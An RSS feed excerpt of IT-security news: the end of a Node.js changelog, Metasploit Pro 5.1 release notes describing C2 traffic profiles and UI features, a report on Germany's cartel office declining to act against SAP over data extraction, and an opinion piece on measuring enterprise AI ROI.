<li>[<a href="https://github.com/nodejs/node/commit/56ce83b3ee"><code>56ce83b3ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: report <code>entryFile</code> in <code>TestStream</code> events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/64309" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64309/hovercard">#64309</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a02e4f9e6"><code>7a02e4f9e6</code></a>] - <strong>timers</strong>: do not retain a reference to the async store after firing (Matteo Collina) <a href="https://github.com/nodejs/node/pull/53443" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53443/hovercard">#53443</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d5d46ef00"><code>7d5d46ef00</code></a>] - <strong>tls</strong>: match IPv6 hosts against IP-Address SANs (Pascal Garber) <a href="https://github.com/nodejs/node/pull/64145" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64145/hovercard">#64145</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7bc0c62df"><code>f7bc0c62df</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.6 to 5.0.7 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64636/hovercard">#64636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f80ed2e93"><code>3f80ed2e93</code></a>] - <strong>tools</strong>: reference 'git node land' in PR-URL: error message in merge.sh (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64495" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64495/hovercard">#64495</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b373cafce"><code>7b373cafce</code></a>] - <strong>tools</strong>: disable zipping tarballs on GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64423" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64423/hovercard">#64423</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5bdbd256e9"><code>5bdbd256e9</code></a>] - <strong>tools</strong>: add workflow to compare Nix changes (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64410/hovercard">#64410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca4a16634b"><code>ca4a16634b</code></a>] - <strong>tools</strong>: add option for <code>benchmark.yml</code> to post comment on PR (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64395/hovercard">#64395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86193ef193"><code>86193ef193</code></a>] - <strong>tools</strong>: fix redundant conditions in v8.gyp for riscv64 and loong64 (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62608" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62608/hovercard">#62608</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee460404be"><code>ee460404be</code></a>] - <strong>util</strong>: make MIMEParams accessors case-insensitive (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64123/hovercard">#64123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a63ee46ddd"><code>a63ee46ddd</code></a>] - <strong>vfs</strong>: make recursive readdir iterative (AkshatOP) <a href="https://github.com/nodejs/node/pull/64149" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64149/hovercard">#64149</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37f93c3b15"><code>37f93c3b15</code></a>] - <strong>vfs</strong>: make lchmod update symlink mode (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64350" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64350/hovercard">#64350</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce54e2a9c8"><code>ce54e2a9c8</code></a>] - <strong>vfs</strong>: fix VirtualReadStream race with async iteration (Y1D7NG) <a href="https://github.com/nodejs/node/pull/64394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64394/hovercard">#64394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54e8d3a14b"><code>54e8d3a14b</code></a>] - <strong>vfs</strong>: follow symlinked dirs in recursive mkdir (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64287" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64287/hovercard">#64287</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7be42b64e1"><code>7be42b64e1</code></a>] - <strong>vm</strong>: enable interception on global restricted properties (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64202" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64202/hovercard">#64202</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c2cfcf8e7d"><code>c2cfcf8e7d</code></a>] - <strong>zlib</strong>: reject truncated zstd input (Archkon) <a href="https://github.com/nodejs/node/pull/64593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64593/hovercard">#64593</a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Pro 5.1 Released]]></title>
<description><![CDATA[Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consiste...]]></description>
<link>https://tsecurity.de/de/3701274/it-security-nachrichten/metasploit-pro-51-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701274/it-security-nachrichten/metasploit-pro-51-released/</guid>
<pubDate>Mon, 03 Aug 2026 20:18:47 +0200</pubDate>
<content:encoded><![CDATA[<p><span>Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consistent UI. This release is powered by </span><a href="https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/" target="_blank" title="Metasploit Framework 6.5 Released"><span>Metasploit Framework 6.5</span></a><span>.</span></p><h2><span>Malleable C2 Profiles</span></h2><p></p><p><span>One of the most requested capabilities in modern red-team engagements is the ability to blend Meterpreter's network traffic into legitimate-looking patterns. Metasploit Pro 5.1 brings full Malleable C2 profile support, powered by Metasploit Framework 6.5, directly into the Pro UI — no command-line knowledge required.</span></p><p><span>Malleable C2 profiles let you load a standard profile and reshape Meterpreter's HTTP(S) traffic to emulate legitimate services, browser sessions, or any other traffic pattern you need. All Meterpreter flavours — Windows, Linux, Java, Python, and PHP — are supported, including stageless and staged payloads (e.g. </span><span><span data-type="inlineCode">meterpreter/reverse_https</span></span><span> and </span><span><span data-type="inlineCode">meterpreter_reverse_https</span></span><span>). This functionality is compatible with </span><a href="https://github.com/BC-SECURITY/Malleable-C2-Profiles" target="_blank" title="Malleable C2 profiles"><span>publicly available profile libraries</span></a><span>.</span></p><h2><span>Profile support across the Pro UI</span></h2><p></p><p><span>Malleable C2 profiles are now available in every part of the workflow where a payload is configured:</span></p><ul><li><span><strong>Single Module Run:</strong></span><span> The module options page now includes a Malleable C2 section.</span></li><li><span><strong>Listeners (New &amp; Edit):</strong></span><span> You can now choose from profiles already uploaded to the server or upload a new </span><span><span data-type="inlineCode">.profile</span></span><span> file directly from your browser.</span></li><li><span><strong>Payload Generator:</strong></span><span> The standalone payload generator also exposes the profile picker, so standalone payloads can carry the same C2 profile as the rest of your operation.</span><br></li></ul><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-1.png" asset-alt="mal-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" data-sys-asset-uid="blt00c8f7cfba369f9b" data-sys-asset-filename="mal-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-1.png" sys-style-type="display"></p><p><span><em>Figure 1 Malleable Profiles</em></span></p><h2><span>Improved Payload Section</span></h2><p><br><span>Alongside the Malleable C2 integration, the payload selector has been overhauled across the Listener, Module Run, and Payload Generator pages. You can now filter payloads by platform and stage, making it much faster to find the right payload in large lists.</span></p><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-2.png" asset-alt="mal-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" data-sys-asset-uid="blt5b8c9d84c56f4976" data-sys-asset-filename="mal-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-2.png" sys-style-type="display"></p><p><span><em>Figure 2: Advanced Payload Options</em></span></p><p><span><em></em></span></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="select-1.png" asset-alt="select-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" data-sys-asset-uid="blt5386f342760bb33c" data-sys-asset-filename="select-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="select-1.png" sys-style-type="display"></p><p><span><em>Figure 3: Additional Payload Options</em></span></p><h2><span>Service Hierarchy Tracking Support</span></h2><p></p><p><span>The Discovered Services table has been overhauled with a cleaner, more capable interface consistent with the rest of Pro 5.1.</span></p><ul><li><span><strong>Service hierarchy visibility:</strong></span><span> The most significant new capability. Services can have parent-child relationships - for example, an HTTP service running over TCP, or a tunnelled protocol layered over another. The new table exposes this hierarchy directly with dedicated columns showing each service's parent and child services, so you can immediately understand how discovered services relate to one another without drilling into individual records.</span></li><li><span><strong>Search and sort across all columns:</strong></span><span> You can now search across host name, host address, service name, protocol, port, and info in a single query. All major columns are sortable, including parent services.</span></li><li><span><strong>Inline editing:</strong></span><span> Service fields (name, port, protocol, state, resource) can be edited directly from the table without navigating away.</span></li></ul><p><span></span></p><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-1.png" asset-alt="service-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" data-sys-asset-uid="blte99ed4bec8ace3d0" data-sys-asset-filename="service-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-1.png" sys-style-type="display"></p><p><span><em>Figure 4: Service Options</em></span></p><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-2.png" asset-alt="service-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" data-sys-asset-uid="blte899cf4f4f3abbe0" data-sys-asset-filename="service-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-2.png" sys-style-type="display"></p><p><span><em>Figure 5: Service </em></span><em>Hierarchy</em><span><em> Display</em></span></p><h2><span>Network Topology Enhancements</span><br></h2><p><span>Building on Metasploit Pro 5.0's improvements to the Network Topology, we've added additional support and functionality for exploring your internal infrastructure. Previously, each node in the graph provided a high level summary of the host details when hovering over the node. This has now been moved into a dedicated side panel that surfaces everything you know about a host without leaving the topology view.</span></p><h2><span>Rich host information panels</span></h2><p></p><p><span>Click any node in the topology graph and the side panel now shows a consolidated summary of everything Metasploit knows about that host:</span></p><ul><li><span><strong>Sessions:</strong></span><span> all sessions (open and closed) opened against the host, including session type, exploit used, payload, and timestamps.</span></li><li><span><strong>Loot: </strong></span><span>captured loot items associated with the host, including type, name, and content type.</span></li><li><span><strong>Credentials:</strong></span><span> cracked and captured credentials organised by service, de-duplicated and sorted with successful logins first.</span></li><li><span><strong>Modules run:</strong></span><span> a list of every module that has been executed against the host.</span></li><li><span><strong>Tags:</strong></span><span> any tags applied to the host or its sessions.</span></li></ul><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-1.png" asset-alt="info-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" data-sys-asset-uid="blt099cc5a0c6188dc7" data-sys-asset-filename="info-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-1.png" sys-style-type="display"></p><p><span><em>Figure 6: Network Topology Display</em></span></p><h2><span>New filter options</span></h2><p></p><p><span>The topology graph toolbar has three new filters to help focus on the hosts that matter:</span></p><ul><li><span><strong>Filter by bruteforce</strong></span><span> - highlight services that can be bruteforced remotely on a host.</span></li><li><span><strong>Filter by tag</strong></span><span> - narrow the graph to hosts carrying a specific session or host tag.</span></li><li><span><strong>Filter by username</strong></span><span> - show only hosts where a particular user account has been compromised.</span></li><li><span><strong>Filter by module</strong></span><span> - surface hosts that have had a specific module run against them.</span></li></ul><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-2.png" asset-alt="info-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" data-sys-asset-uid="bltea875f08e2fd2aa2" data-sys-asset-filename="info-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-2.png" sys-style-type="display"></p><p><span><em>Figure 7: Network Topology Graph Filter Options</em></span></p><p><span><em></em></span></p><h2><span>Discovered Vulnerabilities - Modern UI</span></h2><p></p><p><span>The Discovered Vulnerabilities table has been fully rewritten, bringing it in line with the UI overhaul introduced across the rest of Pro in 5.0.</span></p><p><span>Key improvements:</span></p><ul><li><span><strong>High level view and granular views</strong></span><span> - Each registered vulnerability provides a high view such as references and affected services, as well as a more granular expandable breakdown view.</span></li><li><span><strong>Inline editing</strong></span><span> - vulnerability details can be edited directly from the table without navigating to a separate page.</span></li><li><span><strong>Nexpose integration preserved</strong></span><span> - all existing InsightVM/Nexpose push and pull workflows are retained in the new implementation.</span></li></ul><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="disc-1.png" asset-alt="disc-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" data-sys-asset-uid="blta640a6584832d135" data-sys-asset-filename="disc-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="disc-1.png" sys-style-type="display"></p><p><span><em>Figure 8: Discovered Vulnerabilities Modern UI</em></span></p><h2><span>Attack technique filtering support</span></h2><p></p><p><span>MITRE ATT&amp;CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&amp;CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Metasploit Pro now supports searching for modules by these techniques:</span></p><p><span></span></p><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mod-1.png" asset-alt="mod-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" data-sys-asset-uid="blt660c6c699331ea15" data-sys-asset-filename="mod-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mod-1.png" sys-style-type="display"></p><p><span><em>Figure 9: Attack Technique Filtering Search</em></span></p><h2><span>Upgrading</span></h2><p></p><p><span>Existing Pro installations can be upgraded through the standard update mechanism. Full upgrade instructions are available in the </span><a href="https://help.metasploit.com/Content/managing-updating-metasploit/updating-metasploit.html" target="_blank" title="Metasploit Updates"><span>Metasploit Pro documentation</span></a><span>.</span></p><p><span>These features are available in Metasploit Pro 5.1.0 onwards. We're proud to collaborate with our customers, who are often the source of inspiration for product evolution. Ideas for improvements or enhancements can be shared with our Support team to help refine and submit them to the Product team on your behalf.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SAP dodges German antitrust investigation over data extraction]]></title>
<description><![CDATA[SAP is not unfairly preventing enterprises from extracting their data from its systems for use with competitors’ applications, the German Federal Cartel Office (Bundeskartellamt) concluded Thursday after a preliminary investigation.



The Bundeskartellamt does not currently intend to initiate ab...]]></description>
<link>https://tsecurity.de/de/3701254/it-security-nachrichten/sap-dodges-german-antitrust-investigation-over-data-extraction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701254/it-security-nachrichten/sap-dodges-german-antitrust-investigation-over-data-extraction/</guid>
<pubDate>Mon, 03 Aug 2026 20:16:54 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">SAP is not unfairly preventing enterprises from extracting their data from its systems for use with competitors’ applications, the German Federal Cartel Office (Bundeskartellamt) concluded Thursday after a preliminary investigation.</p>



<p class="wp-block-paragraph">The Bundeskartellamt does not currently intend to initiate abuse proceedings against SAP, although it will continue to monitor developments in what it views as a dynamic market, it said in a news release.</p>



<p class="wp-block-paragraph">It launched its investigation into SAP’s practices following complaints by software companies including Celonis, a developer of process mining tools, alleging that SAP makes it difficult for customers and third parties to access data from its ERP systems and favors its own Signavio process mining tool.</p>



<p class="wp-block-paragraph">“Companies must generally also be able to use their own data in third-party applications. With large software platforms, in particular, non-discriminatory access to data is crucial to effective competition,” <a href="https://www.bundeskartellamt.de/SharedDocs/Meldung/EN/Pressemitteilungen/2026/07_30_2026_SAP_Celonis.html" target="_blank" rel="noreferrer noopener">said Bundeskartellamt President Andreas Mundt</a>. “Our preliminary investigation has found that there are currently sufficient data extraction options available and that there have so far been no indications of exclusionary practices that may be relevant under competition law.”</p>



<p class="wp-block-paragraph">SAP changed its policies on accessing data held in its applications via APIs in April, <a href="https://www.cio.com/article/4166172/dsag-criticizes-saps-new-api-policy.html">prompting customer pushback</a>.</p>



<p class="wp-block-paragraph">But, said Mundt, the Bundeskartellamt found that despite the API policy change, data extraction options that were previously permissible are still available.</p>



<h2 class="wp-block-heading">Data extraction is possible</h2>



<p class="wp-block-paragraph">SAP welcomed the Bundeskartellamt decision, saying that “as the authority states, SAP customers and partners have sufficient and permissible technical options to extract data from SAP systems and use it in solutions from other providers. The SAP API Policy does not restrict these capabilities.”</p>



<p class="wp-block-paragraph">Celonis also issued a statement, noting that the Bundeskartellamt ruling underlined the continued importance of unrestricted data access, and warning, “The decision is based on the key premise that data extraction for software from providers such as Celonis will remain possible even under SAP’s new API policy — a premise that SAP has been unwilling to confirm to date.”</p>



<p class="wp-block-paragraph">The Celonis statement continued, “We remain steadfast in our conviction that company data belongs entirely to the customers who generate it. No provider should restrict a company’s right to extract its own information or prevent users from working with third-party providers such as Celonis that offer added value to customers.”</p>



<p class="wp-block-paragraph">Celonis is also attacking SAP’s policies on data extraction in court in California. It <a href="https://www.cio.com/article/3847242/celonis-declares-sap.html">filed a complaint in March 2025</a> alleging that SAP was leveraging its software to “prevent SAP customers from sharing their own data with third-party providers, including Celonis, without paying prohibitively expensive fees.” The <a href="https://www.cio.com/article/4016013/us-judge-issues-split-decision-in-antitrust-case-against-sap.html">judge dismissed some of the claims in that case</a>, leaving three to be tested in a trial then scheduled for December 2026. Celonis has since amended its complaint to include 10 claims, and the trial has been rescheduled for 2027, the company said.</p>



<p class="wp-block-paragraph">“Our litigation continues to uncover evidence of SAP’s unlawful behavior, including anticompetitive conduct and theft of intellectual property, and we are confident in the evidence that we will present at trial,” Celonis said following the German authority’s decision.</p>



<p class="wp-block-paragraph">The Bundeskartellamt’s failure to find sufficient evidence to open a ‘formal abuse of dominance proceeding’ is a small win for SAP, said <a href="https://www.infotech.com/profiles/scott-bickley" target="_blank" rel="noreferrer noopener">Scott Bickley</a>, advisory fellow at Info-Tech Research, but “CIOs should not mistake it for a validation of SAP’s data access model.”</p>



<p class="wp-block-paragraph">Although SAP recognizes customers’ right to decide they use their data, it does not make it easy for them to do so, he said. “CIOs may technically retain vendor choice but be faced with expensive replication architectures, API rate and volume restrictions, additional platform costs, performance lags and data migration costs, all with a dependency on an SAP-approved technical pattern, which can be a moving target.”</p>



<h2 class="wp-block-heading">Data ownership as a procurement issue</h2>



<p class="wp-block-paragraph"><a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, sees the decision as an instructive one for enterprise CIOs.</p>



<p class="wp-block-paragraph">“This isn’t a reason to stop asking hard questions of your ERP vendor. Whether it’s SAP, Oracle, Microsoft, Salesforce, or anyone else, enterprises should continue to evaluate how easy it is to access their own operational data, integrate third-party applications, and migrate workloads if business priorities change. Those questions are becoming strategic procurement issues, not just technical ones,” Greis said.</p>



<p class="wp-block-paragraph">CIOs should consider data portability early in the procurement process, said <a href="https://www.linkedin.com/in/kaandincer" target="_blank" rel="noreferrer noopener">Kaan Dincer</a>, CEO of data migration vendor Settle: “Negotiate export rights, API access on reasonable terms, and documentation of the data model before signing and test a real extraction while the vendor still wants your renewal. The cost of your eventual exit is set on the day you implement, not the day you leave. ERP data now feeds analytics and automation outside the system of record, so access friction that used to be an IT annoyance is becoming a strategy constraint.”</p>



<p class="wp-block-paragraph">In the SAP case, he said, “the regulator answered a narrow legal question, not the operational one. Declining to open proceedings means the friction was not shown to be anticompetitive. It does not mean the friction is not real. The Bundeskartellamt’s own findings acknowledge that extracting large data volumes is technically demanding and it said explicitly that it will keep watching as access mechanisms and license models evolve. That is not a clean bill of health. It is a decision to hold fire.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/srinivasulureddybattu/" target="_blank" rel="noreferrer noopener">Srinivasulu Reddy Battu</a>, a senior software engineer with cloud vendor ZT Systems, said the big takeaway is the difference between difficult and impossible. SAP’s argument is that the data migration outside of its environment is possible, but Battu said it can be a time-consuming and expensive process.</p>



<p class="wp-block-paragraph">“When the ruling says ‘various permissible and viable options’ exist, that’s technically true, but it glosses over how much expertise it actually takes to use them,” Battu said. “CIOs should still watch how process mining gets packaged in their contracts. If Signavio comes included by default, teams will naturally start using it and that quietly reduces your negotiating power with other vendors over time. This isn’t just about SAP: Oracle, Microsoft, every major ERP vendor sits on a massive amount of your business data. If any of them decided to tighten their API policies tomorrow, most companies would be scrambling.”</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s measurement crisis is over. The translation crisis is next]]></title>
<description><![CDATA[Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was MIT’s “GenAI Divide” report, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilot...]]></description>
<link>https://tsecurity.de/de/3701255/it-security-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701255/it-security-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</guid>
<pubDate>Mon, 03 Aug 2026 20:16:54 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">MIT’s “GenAI Divide” report</a>, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilots delivered no measurable P&amp;L impact. The bubble takes wrote themselves. Boards asked uncomfortable questions. More than a few AI budgets went into the freezer for the winter.</p>



<p class="wp-block-paragraph">Here’s the detail that got lost in the panic: the study defined success as measurable KPI impact within six months of the pilot. Read that again. A project that transformed how a team worked but was never instrumented to prove it counted as a failure. <a href="https://exec-ed.berkeley.edu/2025/09/beyond-roi-are-we-using-the-wrong-metric-in-measuring-ai-success/">Researchers at UC Berkeley pushed back</a> on exactly this point, arguing that the 95% figure may represent 95% of organizations measuring the wrong things at the wrong time rather than 95% of projects failing to create value.</p>



<p class="wp-block-paragraph">In other words, the AI ROI crisis of 2025 was never really about the AI. It was about measurable verification. Most enterprise AI projects didn’t fail. They were simply built in a way that made success unprovable. If you’re a CIO defending a budget line, that distinction is cold comfort, because “we can’t tell if it worked” and “it didn’t work” produce the same conversation with your CFO. But the diagnosis matters, because the treatment is completely different. You don’t fix an unprovable project with a better model. You fix it by picking a better problem.</p>



<p class="wp-block-paragraph">I’ve <a href="https://thenewstack.io/theres-no-sku-for-ai-a-3-box-framework-to-avoid-ai-failures/">argued before</a> that AI initiatives should start with problems that already have good data and trusted metrics, and over the first half of 2026, the market arrived at that conclusion on its own.</p>



<h2 class="wp-block-heading"><a></a>The quiet correction of 2026</h2>



<p class="wp-block-paragraph">Watch where enterprise AI money actually went in the first half of this year and you’ll see a pattern that never made headlines: a hard pivot toward employee-facing use cases. Agents assisting support reps, sales teams, claims processors, IT help desks. The conventional read is that these are the safe choices, the training-wheels projects companies run while they work up the nerve for customer-facing AI.</p>



<p class="wp-block-paragraph">That read is wrong. The pivot to employee-facing AI isn’t about safety. It’s about scoreboards.</p>



<p class="wp-block-paragraph">Think about what an employee-facing workflow comes with that a greenfield AI initiative doesn’t. You already measure it. Average handle time, first-call resolution, cases closed per week, quota attainment. Those KPIs have years of baseline data behind them. More importantly, they’re politically real. In many organizations, people are bonused on those numbers. Nobody in the room disputes the methodology of a metric that’s been sitting on a comp plan for five years. When you drop an agent into that workflow and the KPIs move in the right direction across the entire employee population, ROI stops being a philosophy seminar and becomes back-of-the-envelope arithmetic. Headcount, fully loaded cost, percentage improvement, multiply.</p>



<p class="wp-block-paragraph">The survey data backs up what I’ve been seeing in the field. <a href="https://foundryco.com/research/research-ai-priorities/">Foundry’s 2026 AI Priorities study</a> found that improving employee productivity is now the single biggest business objective driving AI investment, cited by 55% of IT decision-makers. This publication’s own <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">25th annual State of the CIO research</a> tells the same story from the measurement side: lack of clear ROI metrics remains a critical barrier to AI success, cited by 32% of IT leaders, and among organizations that measure AI success at all, operational efficiency and process improvement (40%), employee productivity (34%) and cost reduction (30%) dominate, while revenue impact trails at 27%. And <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Deloitte’s State of AI in the Enterprise</a> found two-thirds of organizations reporting productivity and efficiency gains from AI, while only 20% can point to revenue growth.</p>



<p class="wp-block-paragraph">Notice what those numbers describe. The industry didn’t get better at measuring AI. It got better at picking problems that were already measured.</p>



<h2 class="wp-block-heading"><a></a>The post-mortem question nobody asks first</h2>



<p class="wp-block-paragraph">Which brings us to the diagnostic. When an AI project can’t demonstrate ROI, the instinct is to interrogate the technology. Wrong model. Wrong vendor. Insufficient context. Hallucinations. Sometimes that’s true. But the first question in the post-mortem should be about a decision that was made before a single token was generated: what problem did we pick?</p>



<p class="wp-block-paragraph">Did that problem have good data behind it? And did it have a scoreboard anyone trusted before the AI showed up? If the answer to either question is no, the project was never going to prove anything, no matter how well the technology performed. You can’t demonstrate improvement against a baseline that doesn’t exist, and you can’t win an argument with a metric that was invented the same week as the pilot. The MIT study’s 95% weren’t all technology failures. A meaningful share of them were selection errors, committed months earlier in a planning meeting, by people who chose an exciting problem over a measurable one.</p>



<h2 class="wp-block-heading"><a></a>The bill comes due</h2>



<p class="wp-block-paragraph">Here’s the uncomfortable part. Just as the industry figured out the measurability trick, the goalposts started moving.</p>



<p class="wp-block-paragraph"><a href="https://futurumgroup.com/press-release/enterprise-ai-roi-shifts-as-agentic-priorities-surge/">Futurum’s survey of 830 enterprise IT decision-makers</a> in the first half of 2026 documents the shift: productivity gains fell from 23.8% to 18.0% as the primary ROI metric buyers use to justify AI investment, while hard financial measures, top-line revenue and bottom-line profitability combined, nearly doubled to 21.7%. The productivity argument carried the pilot era. CFOs accepted “the KPIs moved” as an answer for a while. Now, they want hard dollars.</p>



